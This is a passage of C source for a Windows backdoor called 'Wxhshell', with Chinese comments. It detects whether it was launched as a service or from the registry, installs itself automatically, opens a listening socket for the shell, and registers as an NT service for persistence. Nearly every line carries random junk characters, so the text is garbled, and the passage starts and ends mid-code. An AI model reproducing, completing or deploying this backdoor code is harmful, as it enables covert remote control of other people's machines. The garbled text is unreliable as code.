DWORD BasePriority; <I>q1m?KN
ULONG UniqueProcessId;
A=,m
ULONG InheritedFromUniqueProcessId; hk=+t&Y<H
} PROCESS_BASIC_INFORMATION; B)(A#&nrb
;R67a
V,
PROCNTQSIP NtQueryInformationProcess; @.5Ybgn
us]ah~U6A
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q\~7z1
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8'YL!moG|
v|hi;l@7E
HANDLE hProcess; <
;g0?M\
PROCESS_BASIC_INFORMATION pbi; l`1ZS8 [.
Y}Ov`ZM!r
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xS.0u"[
if(NULL == hInst ) return 0; >#'6jm
|9g*rO
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BYGLYT;Z
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); # WxH
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l})uYae/
C>;}CH|X
if (!NtQueryInformationProcess) return 0; [)a,rrhj
0t9G$23
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tpVtbh1)u
if(!hProcess) return 0; 7W>T=
@
LvR=uD
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -H]svOX
:S%|^QAN
CloseHandle(hProcess); )&w\9}B:
9KP+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 41:Z8YL(
if(hProcess==NULL) return 0; mX#T<_=d
<l\FHJhjq
HMODULE hMod; f(3#5288
char procName[255]; \UiuJ+
unsigned long cbNeeded; ]s<Q-/X
/r)d4=1E
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?GFVV ->i
]M2> %Dvw
CloseHandle(hProcess); y_'8m9Qy)
u%T.XgY=j
if(strstr(procName,"services")) return 1; // 以服务启动 0D\FFfs
{ u;ntDr
return 0; // 注册表启动 z*R"917
} {d3r>Ub)7d
<}e<Zf!
// 主模块 IX3r$}4
int StartWxhshell(LPSTR lpCmdLine) F|"NJ*o}
{ wOOPuCw?
SOCKET wsl; ;eWVc;H
BOOL val=TRUE; :>cJ[K?0
int port=0; C|>#|5XaF
struct sockaddr_in door; Y!SD^Ie7!
*zmbo >{(
if(wscfg.ws_autoins) Install(); Yu8WmX,[
wp@c;gK7
port=atoi(lpCmdLine); EswM#D9(4
H
kg0;)
if(port<=0) port=wscfg.ws_port; \^_F>M
T$+}Srb
WSADATA data; Y H?>2u
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {yJ{DU?%Y
v7g-M
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; q k !Q2W
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {i=qx#2X?H
door.sin_family = AF_INET; > sUk6Z~
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7%o\O{,U
door.sin_port = htons(port); ' rXkTm1{
'vh:(-
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Yc9 M6=E^
closesocket(wsl); Z'u`)jR
return 1; ((H}d?^AJ
} V57^0^Zp`
`T}e3l
if(listen(wsl,2) == INVALID_SOCKET) { :CV&WP
closesocket(wsl); 6-<r@{m$
return 1; %T88K}?=
} -]N/P{=L
Wxhshell(wsl); ~
Iv[
WSACleanup(); M T{^=F ]
D
F0~A
return 0; s'i1!GNF
B
d,$[633It}
} (=7e~'DC
(}}BZS&.
// 以NT服务方式启动 O-G4^V8
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fa$ Fo(.
{ =m:0#&t,*
DWORD status = 0; .lqo>Ta
y
DWORD specificError = 0xfffffff; vZ|m3;X
tdEu4)6
serviceStatus.dwServiceType = SERVICE_WIN32; :^px1
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 2&P'rmFm
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Tl 9_Wi
serviceStatus.dwWin32ExitCode = 0; QHA<7Wg
serviceStatus.dwServiceSpecificExitCode = 0; =7Nm=5@
serviceStatus.dwCheckPoint = 0; 2<<,aL*
serviceStatus.dwWaitHint = 0; R$v{ p[
ZJd1Lx
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3dC8MKPq0
if (hServiceStatusHandle==0) return; F%L^k.y$
}`>u+iH#a
status = GetLastError(); (3 B;
V
if (status!=NO_ERROR) y%iN9 -t
{ c6Wy1d^
serviceStatus.dwCurrentState = SERVICE_STOPPED; ij%\ld9kd
serviceStatus.dwCheckPoint = 0; rW!P~yk
serviceStatus.dwWaitHint = 0; bp;)*
serviceStatus.dwWin32ExitCode = status; o
D^],
serviceStatus.dwServiceSpecificExitCode = specificError; RaG-9gujI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0;o`7f
return; O'o`
} pbAQf3
YpXUYNy
serviceStatus.dwCurrentState = SERVICE_RUNNING; 4km=KOx[
serviceStatus.dwCheckPoint = 0; 1 vi<@i,
serviceStatus.dwWaitHint = 0; lshO'I+)*
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7@MVInV9
} u|B\@"0
5,;{<\c
// 处理NT服务事件,比如:启动、停止 HuCH`|v-
VOID WINAPI NTServiceHandler(DWORD fdwControl) mG\,T3/*
{ ;PGC9v%i
switch(fdwControl) ^uC1\!Q1
{ Rm"lRkY4I[
case SERVICE_CONTROL_STOP: F<
Qjoaz
serviceStatus.dwWin32ExitCode = 0; c.,eIiL
serviceStatus.dwCurrentState = SERVICE_STOPPED; /6b(w=pk
serviceStatus.dwCheckPoint = 0; ,.G6c=pZ
serviceStatus.dwWaitHint = 0; ]#TL~u[
{ ]MRE^Je\h
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >\[sNCkf
} PUF"^9v
return; 5c`DkWne%
case SERVICE_CONTROL_PAUSE: ,NPU0IDG>
serviceStatus.dwCurrentState = SERVICE_PAUSED; 0g~WM
break; SO3WOR`3
case SERVICE_CONTROL_CONTINUE: R2Lq,(@-
serviceStatus.dwCurrentState = SERVICE_RUNNING;
VTy!<I
break; )%f]`<